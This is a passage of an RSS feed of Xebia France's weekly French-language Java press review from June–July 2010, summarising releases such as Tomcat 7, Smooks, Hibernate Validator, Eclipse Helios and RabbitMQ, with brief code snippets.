href="http://www.rebootingcomputing.org/" title="certains professeurs amricains tentent de dmonter" >certains professeurs américains tentent de démonter</a>.</p><p>Les défis à venir sont énormes, puisqu&#8217;il va falloir réconcilier le désamour des étudiants pour les carrières informatiques, et les besoins des entreprises qui s&#8217;annoncent énormes. Bien heureusement, un certain nombre d&#8217;acteurs français essayent de proposer une vision du marché de l&#8217;informatique plus <em>humaine</em> que d&#8217;autres.</p><p><a
href="http://blog.xebia.fr/2010/05/20/xebia-recrute-aussi-des-jeunes-diplomes-hf/" title="A ce propos, vous savez que Xebia recrute ? ;)" >A ce propos, vous savez que Xebia recrute ? <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </a></p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="LafutureversiondeSmookssupport"></a>La future version 1.4 de Smooks supportera les messages UN/EDIFACT</h4><p>L&#8217;équipe de développement de Smooks vient d&#8217;annoncer le support du traitement des messages <a
href="http://fr.wikipedia.org/wiki/%C3%89change_de_donn%C3%A9es_informatis%C3%A9" title="EDI" >EDI</a> (Échange de Données Informatisées) au format <a
href="http://www.unece.org/trade/untdid/welcome.htm" title="UNEDIFACT Interchange" >UN/EDIFACT Interchange</a>, dans la future version du projet.</p><p>Pour rappel <a
href="http://www.smooks.org/mediawiki/index.php?title=Main_Page" title="Smooks" >Smooks</a> est un framework Java offrant un moteur de traitement des données XML et non XML (CSV, EDI, Java, etc.). Il est capable d&#8217;effectuer des transformations de données en s&#8217;appuyant sur des transformations existantes, ou en utilisant des technologies de <em>templating</em> telles que XSLT, Freemarker, StringTemplate, etc. Smooks permet également d&#8217;analyser un flux de données afin de remplir un modèle d&#8217;objets Java (Java Bean Binding).</p><p>Le framework Smooks peut prendre en charge les modèles de traitement DOM et SAX, ce qui signifie qu&#8217;il est capable de traiter aussi bien un fichier qu&#8217;un flux de données.</p><p>Ainsi, les messages EDI pourront être traités grâce à deux nouvelles fonctionnalités :</p><ul><li>Un module de lecture dédié au format UN/EDIFACT Interchange (&lt;unedifact:reader&gt;), qui permettra de transformer un message EDI de manière automatique dans un format XML compréhensible par le moteur de traitement de Smooks.</li></ul><ul><li>Un outil pour Maven et ANT, appellé EDI Conversion Tool (ECT), embarquant directement les référentiels UN/EDIFACT, et offrant la possibilité de générer un Jar contenant les fichiers de mapping Smooks correspondant au message EDI traité.</li></ul><p>Avec ces nouvelles fonctionnalités, Smooks propose une véritable alternative Open Source et performante aux solutions propriétaires pour le traitement des messages EDI au format UN/EDIFACT. Déjà intégré au sein de Mule ESB et de JBoss ESB, Smooks devient de plus en plus incontournable au sein des architectures SOA s&#8217;appuyant sur des solutions Open Source.</p><p>Ces nouveautés sont déjà disponibles dans la version 1.4-SNAPSHOT, téléchargeable directement depuis le <a
href="http://snapshots.repository.codehaus.org/org/milyn/edi/unedifact/" title="repository Maven" >repository Maven</a> du projet.</p><p>Pour en savoir plus :</p><ul><li><a
href="http://blog.smooks.org/2010/06/28/processing-unedifact-message-interchanges" title="Lannonce sur le blog de Smooks" >L&#8217;annonce sur le blog de Smooks</a></li><li><a
href="http://www.smooks.org" title="Le site du projet Smooks" >Le site du projet Smooks</a></li><li><a
href="http://www.unece.org/trade/untdid/welcome.htm" title="Le format UNEDIFACT Interchange" >Le format UN/EDIFACT Interchange</a></li></ul><h3><a
name="ServeursdapplicationsetCloudCo"></a>Serveurs d&#8217;applications / Cloud Computing</h3><h4><a
name="TomcatsortenBETA"></a>Tomcat 7 sort en BETA</h4><p>Après 18 mois de travail, Apache nous livre la première version officielle de Tomcat 7. Cette nouvelle release est désormais disponible dans les pages de téléchargements du site <a
href="http://tomcat.apache.org" title="httptomcatapacheorg" >http://tomcat.apache.org</a> qui intègre pour l&#8217;occasion la documentation du précieux. Comme promis de longue date, Tomcat 7 implémente les Servlet 3.0, ainsi que JSP et EL 2.2.</p><p>A ces mises à niveau s&#8217;ajoutent de nouvelles fonctionnalités:</p><ul><li>Détection et prévention des fuites de mémoire, pour en finir avec les OutOfMemory au rechargement des applications web liés à l&#8217;utilisation du PermGen. Ce développement avait été porté sur Tomcat 6, début avril, le voilà disponible tout naturellement sur Tomcat 7.</li><li>La sécurité est aussi largement améliorée avec notamment un filtre permettant de bloquer les attaques de type Cross Site Request Forgery. C&#8217;est aussi une nouvelle gestion des rôles pour Tomcat Manager et Host Manager.</li><li>La gestion d&#8217;alias de répertoire à la mode apache.</li><li>Enfin, la possibilité d&#8217;embarquer et de lancer Tomcat simplement, ce qui ne manque pas de faire penser à Jetty.</li></ul><p>Outre toutes ces nouveautés, le code a subi une vaste cure de nettoyage et l&#8217;équipe affirme avoir porté toutes les corrections de bugs des versions précédentes dans Tomcat 7. Nous en reparlerons sûrement sur le blog, en attendant, n&#8217;hésitez pas, faites le tour du propriétaire et sachez apprécier la nouvelle décoration.</p><p>Pour en savoir plus:</p><ul><li><a
href="L'annonce de Mark Thomas" title="httpwwwtomcatexpertcomblog20100629apachetomcat7hasbeenreleased" >http://www.tomcatexpert.com/blog/2010/06/29/apache-tomcat-7-has-been-released</a></li><li><a
href="Téléchargez Tomcat 7" title="httptomcatapacheorgdownload70cgi" >http://tomcat.apache.org/download-70.cgi</a></li><li><a
href="L'article sur DZone" title="httpjavadzonecomarticlestomcatluckynumber7beta" >http://java.dzone.com/articles/tomcat-lucky-number-7-beta</a></li></ul><h4><a
name="GoogleAppEngineetdutoolkitPayp"></a>Google App Engine 1.3.5 et toolkit Paypal</h4><p>La sortie de Google App Engine en version 1.3.5 apporte comme à son habitude son lot de nouveautés et de corrections pour les développeurs Java et Python:</p><ul><li>Une amélioration de la Task Queue API permettant de traiter 50 reqs/sec par queue au lieu de 50 reqs/sec par application. Google promet d&#8217;ailleurs de futures améliorations de scalabilité relatives à cette API.</li><li>Le support pour la précompilation de fichiers sources Python</li><li>Une amélioration de l&#8217;API BlobStore permettant la lecture d&#8217;un blob tel un fichier avec une classe BlobstoreInputStream.</li></ul><p>La réelle nouveauté vient cependant de PayPal annonçant le support de sa plateforme de paiement PayPal X pour GAE.</p><p>A travers sa plateforme PayPal X, le leader du micro-paiement sécurisé propose une API clé en main, permettant aux développements d&#8217;embarquer différentes solutions de paiement dans leurs applications via différents modèles de monétisation: Le <a
href="http://fr.wikipedia.org/wiki/Freemium" title="freemium" >freemium</a>, les abonnements, le pay-per-use, les micro transactions. PayPal souhaite ainsi fournir une solution de paiement adaptée à tous les besoins.</p><p>Grâce à ce nouveau service orienté e-commerce et entreprise, le géant de Moutain View espère bien profiter de la demande croissante des entreprises envers l&#8217;hébergement d&#8217;applications sur une architecture cloud, et continuer de développer son offre destinée aux entreprises.</p><p>Pour en savoir plus:</p><ul><li><a
href="http://googleappengine.blogspot.com/2010/06/paypal-introduces-paypal-x-platform.html" title="Billet du blog Google App Engine prsentant le toolkit PayPal X" >Billet du blog Google App Engine présentant le toolkit PayPal X</a></li><li><a
href="http://code.google.com/p/paypalx-gae-toolkit/" title="PayPal X toolkit" >PayPal X toolkit</a></li><li><a
href="http://googleappengine.blogspot.com/2010/06/app-engine-sdk-135-released-with-new.html" title="Annonce de la sortie de Google App Engine 135" >Annonce de la sortie de Google App Engine 1.3.5</a></li></ul><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="HibernateValidator"></a>Hibernate Validator 4.1.0</h4><p>Outre quelques corrections de bugs et améliorations de performance au niveau de certains parsings, cette <a
href="http://in.relation.to/Bloggers/HibernateValidator410FinalHasLanded#comment16028" title="version" >version</a> d&#8217;Hibernate Validator fournit de nouvelles fonctionnalités intéressantes, assez bien détaillées sur le <a
href="http://musingsofaprogrammingaddict.blogspot.com/2010/06/whats-new-in-hibernate-validator-41.html" title="blog" >blog</a> de Gunar Morling, un des développeurs du projet.</p><p>Pour commencer, quelques types de contraintes ont été ajoutés:</p><ul><li><code>@CreditCardNumber</code> : permet de valider un numéro de carte de crédit selon l&#8217;algorithme de <a
href="http://fr.wikipedia.org/wiki/Formule_de_Luhn" title="Luhn" >Luhn</a></li><li><code>@NotBlank</code> : Le champ ne doit être ni null, ni vide, ni contenir que des espaces</li><li><code>@URL</code> : valide une URL, on peut préciser le protocole, http par exemple</li><li><code>@ScriptAssert</code> : cette contrainte permet de déléguer à un langage script tiers la validation du champ, ceci étant rendu possible grâce à la <a
href="http://jcp.org/en/jsr/detail?id=223" title="JSR-223" >JSR-223</a> permettant l&#8217;intégration de languages de script dans Java (à partir de la version 1.6). Plus de détail <a
href="http://docs.jboss.org/hibernate/stable/validator/api/org/hibernate/validator/constraints/ScriptAssert.html" title="ici" >ici</a></li></ul><p>De plus il est possible maintenant de choisir sa propre stratégie pour récupérer les ResourceBundle, pour par exemple associer un message d&#8217;erreur à un champ. Il suffit pour cela de fournir une implémentation de l&#8217;interface <code>ResourceBundleLocator</code> qui contient une méthode retournant un <code>ResourceBundle</code>. On peut donc par exemple stocker ces messages dans une base de données.</p><p>Enfin cette version introduit la possibilité de créer des contraintes programmatiquement. Voici un exemple qui  vient de la <a
href="http://docs.jboss.org/hibernate/stable/validator/reference/en-US/html/programmaticapi.html#example-constraint-mapping" title="documentation" >documentation</a>:</p><pre class="brush: java; title: ; notranslate">
ConstraintMapping mapping = new ConstraintMapping();
mapping.type( Car.class ).property( &quot;manufacturer&quot;, FIELD ).constraint( NotNullDef.class )
   .property( &quot;licensePlate&quot;, FIELD ).constraint( NotNullDef.class )
   .constraint( SizeDef.class ).min( 2 ).max( 14 )
   .property( &quot;seatCount&quot;, FIELD ).constraint( MinDef.class ).value ( 2 )
   .type( RentalCar.class ).property( &quot;rentalStation&quot;, METHOD).constraint( NotNullDef.class );
</pre><p>On utilise le principe des méthodes chainées, ça rappelle de loin les Criteria d&#8217;Hibernate. Entre cette possibilité et celle des @ScriptAssert, l&#8217;utilisateur a désormais deux nouveaux outils pour exprimer des contraintes relativement complexes.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements  de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="LeParisJUGetlAvantJUG"></a>Le ParisJUG et l&#8217;AvantJUG</h4><p>Ce mardi aura lieu la soirée du ParisJUG comme tous les deuxièmes mardis du mois. Au programme de cette soirée, les <a
href="http://parisjug.org/xwiki/bin/view/Meeting/20100706" title="EJB 3 présenté par Adam Bien" >EJB 3 présenté par Adam Bien</a>. Vous voulez avoir une idée du contenu de la soirée ? Alors lisez le billet publié par le <a
href="http://jduchess.org/duchess-france/blog/soiree-adam-bien-au-paris-jug-0607/" title="blog des JDuchess France" >blog des JDuchess France</a> qui résume les concepts que présentera Adam Bien ce soir là.<br
/> Comme depuis quelques mois déjà, le ParisJUG sera précédé de l&#8217;AvantJUG. C&#8217;est un évènement organisé par les JDuchess France pour faire connaissance avant de débuter la soirée du Paris JUG. A l&#8217;origine pour inciter les femmes à venir au Paris JUG, cette rencontre est ouvert à tous ceux qui veulent discuter et partager. Si vous voulez avoir une bonne excuse pour motiver une collègue à venir au ParisJUG ou tout simplement échanger autour d&#8217;un verre, venez donc à l&#8217;AvantJUG ! Toutes les modalités pour l&#8217;inscription se trouvent <a
href="http://jduchess.org/duchess-france/blog/venez-nombreuses-a-lavantjug-de-juillet/" title="ici" >ici</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/</link> <comments>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#comments</comments> <pubDate>Tue, 29 Jun 2010 05:50:07 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Gorm]]></category> <category><![CDATA[Grails]]></category> <category><![CDATA[Groovy]]></category> <category><![CDATA[MuleSoft]]></category> <category><![CDATA[Performance]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[Tomcat Stats]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4971</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Outils Helios, Eclipse 3.6 SOA Tomcat Stats: administrer Tomcat depuis son iPhone Le coin de la technique Articles sur Groovy/Spring et Grails/Hibernate Un nouveau top 10 orienté performance Agilité Happy birthday Post-It ! Outils Helios, Eclipse 3.6 Après avoir épuisé les principales lunes de [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Outils</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HeliosEclipse">Helios, Eclipse 3.6</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#SortiedeTomcatStatsladministra">Tomcat Stats: administrer Tomcat depuis son iPhone</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#ArticlessurGroovySpringetGrail">Articles sur Groovy/Spring et Grails/Hibernate</a></li><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#Unnouveautoporientperformance">Un nouveau top 10 orienté performance</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HappybirthdayPostIt">Happy birthday Post-It !</a></li></ul><h3><a
name="Outils"></a>Outils</h3><h4><a
name="HeliosEclipse"></a>Helios, Eclipse 3.6</h4><p>Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d&#8217;<a
title="Helios" href="http://www.eclipse.org/">Helios</a> pour incarner la version annuelle d&#8217;Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.</p><p>Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le &laquo;&nbsp;Install new software&#8230;&nbsp;&raquo;, un lien direct vers le Marketplace permet très facilement d&#8217;installer ces plugins, un peu à la manière d&#8217;un plugin Firefox (tout comme le redémarrage obligatoire). L&#8217;ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l&#8217;implémentation <em>full java</em> utilisée également sur d&#8217;autre projets alors qu&#8217;EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.</p><p>En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:</p><ul><li>Les options du <em>formatter</em> acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le <em>formatter</em> d&#8217;une partie du code (intéressant pour aider des merges compliqués).</li><li>Les fonctionnalités sur le breakpoint, comme l&#8217;ajout d&#8217;une condition ou le compteur, sont à présent directement accessibles dans le panel <em>breakpoints</em> et non plus en passant par un menu contextuel dans le code.</li></ul><p>La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d&#8217;Eclipse propose un <a
title="top ten" href="http://eclipsesource.com/blogs/2010/06/23/top-10-eclipse-helios-features/">top ten</a> intéressant pour faire le tour des fonctionnalités. Arrive en tête l&#8217;application Xtext qui permet d&#8217;écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.</p><p>Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="SortiedeTomcatStatsladministra"></a>Tomcat Stats: administrer Tomcat depuis son iPhone</h4><p><a
title="MuleSoft" href="http://www.mulesoft.com">MuleSoft</a>, plus connu pour son ESB Open Source <a
title="Mule" href="http://www.mulesoft.com/mule-esb-open-source-esb">Mule</a>, a récemment annoncé la sortie de <a
title="Tomcat Stats" href="http://www.mulesoft.com/mulesoft-introduces-iphone-app-apache-tomcat">Tomcat Stats</a>, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l&#8217;<a
title="offre de support" href="http://www.mulesoft.com/free-apache-tomcat-support">offre de support</a> également gratuite, proposée par MuleSoft depuis maintenant presque une année. L&#8217;application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu&#8217;elles soient installées au sein de l&#8217;infrastructure propre de l&#8217;entreprise ou dans le Cloud. L&#8217;ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l&#8217;application, notamment l&#8217;utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.</p><p>Pour télécharger l&#8217;application, rien de plus simple il suffit de se rendre sur l&#8217;App Store, directement depuis son mobile, ou sur iTunes à l&#8217;adresse suivante : <a
title="Tomcat Stats By MuleSoft Inc" href="http://itunes.apple.com/us/app/tomcat-stats/id376646649?mt=8">Tomcat Stats By MuleSoft Inc.</a></p><p>Bien qu&#8217;un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="ArticlessurGroovySpringetGrail"></a>Articles sur Groovy/Spring et Grails/Hibernate</h4><p><a
title="IBM developerWorks" href="http://www.ibm.com/developerworks/">IBM developerWorks</a> nous a récemment gratifié d&#8217;un  article en 2 parties intitulé &laquo;&nbsp;GroovierSpring&nbsp;&raquo;.  Dans <a
title="la premire partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring1.html">la première partie</a>, nous  apprenons à définir des beans Spring en Groovy. Quatre méthodes  sont à notre disposition:</p><ul><li>Utilisation de classes Groovy compilées en .class normaux</li><li>Utilisation de classes Groovy directement sous forme de .groovy</li><li>Utilisation de  scripts Groovy en ligne,  écrits dans la configuration Spring</li><li>Utilisation  de <a
title="Bean Builder" href="http://www.grails.org/Spring+Bean+Builder">Bean Builder</a> de Grails</li></ul><p>Cette  dernière possibilité permet de créer des beans dynamiquement, à  partir de code Groovy. Cela  sous entend que l&#8217;on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la  logique&#8230; C&#8217;est d&#8217;ailleurs une solution utilisée dans Grails.</p><p>Une  fois les beans correctement  définis, nous pouvons les utiliser comme n&#8217;importe quel bean Java  défini plus classiquement. Le fait que les beans soient à  l&#8217;origine en Groovy est  complètement transparent à l&#8217;application.<br
/> <a
title="La seconde partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring2.html">La seconde partie</a> de l&#8217;article  va plus loin en explorant le rechargement à chaud des beans Groovy. C&#8217;est une plus-value  importante: qui n&#8217;a jamais rêvé de pouvoir changer facilement certains  bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents  !) ? De plus, l&#8217;article propose une implémentation permettant de  stocker son code Groovy en  base de donnée, car il n&#8217;est pas toujours évident d&#8217;accéder au système  de fichier des applications en production. C&#8217;est une idée assez peu  conventionnelle ! D&#8217;ailleurs, le paragraphe de fin, intitulé &laquo;&nbsp;When Groovy scripts go bad&nbsp;&raquo;,  constitue une mise en garde pour ne pas abuser de ces possibilités, et  être conscient des problèmes de sécurité soulevés.</p><p>Tant que nous  somme dans le monde de Groovy,  il nous semble intéressant de vous indiquer un article <a
title="du blog de SpringSource" href="http://blog.springsource.com/2010/06/23/gorm-gotchas-part-1/">du blog de SpringSource</a> qui s&#8217;intitule &laquo;&nbsp;GORM Gotchas (Part 1)&nbsp;&raquo;. Il pointe du  doigt des comportements de GORM (la couche de  persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d&#8217;Hibernate n&#8217;apprendront pas grand choses, mais l&#8217;article éclairera sans doutes  ceux qui, attirés par la simplicité de Grails, se sont  mis à l&#8217;utiliser sans expérience préalable d&#8217;Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à &laquo;&nbsp;save()&nbsp;&raquo;, et pourquoi ils le sont parfois en l&#8217;absence d&#8217;appel à cette même méthode. <a
title="Un autre article" href="http://naleid.com/blog/2009/10/01/batch-import-performance-with-grails-and-mysql/">Un autre article</a> traitant de Grails et Hibernate nous vient de Ted Naleid.  Celui-ci explique comment il a pu améliorer les performances de son batch en <em>flushant</em> la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s&#8217;appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !</p><h4><a
name="Unnouveautoporientperformance"></a>Un nouveau top 10 orienté performance</h4><p>Ce top10 se trouve <a
title="sur le blog de lditeur Dynatrace" href="http://blog.dynatrace.com/2010/06/15/top-10-performance-problems-taken-from-zappos-monster-and-co/">sur le blog de l&#8217;éditeur Dynatrace</a>. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d&#8217;un top 10 sélectif, chez des clients qui avaient conscience d&#8217;avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu&#8217;il est bon de toujours avoir à l&#8217;esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d&#8217;expérience.</p><ul><li>une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).</li><li>une mauvaise programmation concurrente, avec un excès de synchronisation.</li><li>un manque de compréhension des appels <em>remote</em> et donc un trop grand nombre d&#8217;appels.</li><li>un mauvais usage des frameworks de mapping objet &#8211; relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l&#8217;utilisation la plus hors de propos de la librairie.</li><li>l&#8217;existence de fuite mémoire (mais pourquoi ce point n&#8217;a t&#8217;il pas été placé en premier ?)</li><li>une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d&#8217;introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta&#8230;</li><li>une mauvaise utilisation des ressources machine (CPU, I/O&#8230;). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.</li><li>des sites web trop chargés. La bande passante ne cesse d&#8217;augmenter, mais ce n&#8217;est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.</li><li>une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c&#8217;est le Garbage Collector qui vous rappellera à l&#8217;ordre.</li><li>la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d&#8217;objets, ou des objets trop volumineux.</li></ul><p>Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c&#8217;est en partie la raison de vivre d&#8217;un blog éditeur) et nous préférons le déplacer en bonus :</p><ul><li>le problème intermittent, invisible. C&#8217;est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.</li></ul><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="HappybirthdayPostIt"></a>Happy birthday Post-It !</h4><p>Et pour conclure cette revue de presse, nous ne résistons pas à l&#8217;envie de partager avec vous cette nouvelle d&#8217;importance: les Post-It, ces fameuses petites notes collantes multicolores, <a
title="fêtent leurs 30 ans" href="http://www.journaldunet.com/economie/industrie/fabrication-de-post-it/">fêtent leurs 30 ans</a>. Rappelons que l&#8217;utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d&#8217;un Sprint sans Post-It ?! Alors pour leur rendre hommage, <a
title="regardons quelques photos" href="http://www.touilleur-express.fr/2009/03/30/3-exemples-de-tableaux-scrum/">regardons quelques photos</a> ou encore cette <a
title="magnifique vido de laquelle ils sont les acteurs majeurs" href="http://vimeo.com/4587652">magnifique vidéo de laquelle ils sont les acteurs majeurs</a>. Bon anniversaire les p&#8217;tits gars !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/</link> <comments>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#comments</comments> <pubDate>Tue, 22 Jun 2010 05:45:32 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache Click]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Netbean]]></category> <category><![CDATA[Netbeans]]></category> <category><![CDATA[PaaS]]></category> <category><![CDATA[Play!]]></category> <category><![CDATA[rabbitmq]]></category> <category><![CDATA[Sencha]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Stratos]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4919</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII RabbitMQ 1.8 RIA Du côté de chez Play! Framework ExtJS + Raphael + jQtouch = Sencha SOA WSO2 lance Stratos, un PaaS ouvert Le coin de la technique Spring, version 3.0.3 et faille de sécurité Trucs et astuces pour Eclipse [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#RabbitMQ">RabbitMQ 1.8</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#DuctdechezPlayFramework">Du côté de chez Play! Framework</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#ExtJSRaphaeljQtouchSencha">ExtJS + Raphael + jQtouch = Sencha</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#WSOlanceStratosunPaaSouvert">WSO2 lance Stratos, un PaaS ouvert</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Springversionetfailledescurit">Spring, version 3.0.3 et faille de sécurité</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#TrucsetastucespourEclipse">Trucs et astuces pour Eclipse</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#SortiedApacheClick">Sortie d&#8217;Apache Click 2.2.0</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Netbeans">Netbeans 6.9</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Choisirentremodjketmodproxypar">Choisir entre mod_jk et mod_proxy, par Mark Thomas</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="RabbitMQ"></a>RabbitMQ 1.8</h4><p>Alors que des idées originales sont proposées autour de RabbitMQ, comme cette <a
title="proposition" href="http://www.tomcatexpert.com/blog/2010/06/21/clustering-cloud-friendly-tomcat-sessions-rabbitmq-part-i">proposition</a> de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.</p><p>La possibilité d&#8217;ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d&#8217;échanges semble s&#8217;adresser surtout aux spécialistes (RabbitMQ pour l&#8217;instant ne propose qu&#8217;un mode de persistance même si un nouveau est annoncé prochainement).</p><p>Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d&#8217;<a
href="www.amqp.org">AMQP</a> qui est actuellement en version 0.10 et déjà supportée par <a
title="Qpid" href="http://qpid.apache.org/">Qpid</a>. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d&#8217;efforts aux brokers pour l&#8217;implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de <em>acker</em> plusieurs fois un même message.</p><p>On peut regretter aussi que cette version n&#8217;apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s&#8217;il existe déjà des solutions externes.</p><p>Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :</p><pre class="brush: xml; title: ; notranslate">&lt;dependency&gt;
    &lt;groupId&gt;com.rabbitmq&lt;/groupId&gt;
    &lt;artifactId&gt;amqp-client&lt;/artifactId&gt;
    &lt;version&gt;1.8.0&lt;/version&gt;
&lt;/dependency&gt;</pre><p>Bien que cette version ne révolutionne rien, elle corrige pas mal d&#8217;imperfections et il est chaudement conseillé de l&#8217;installer.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
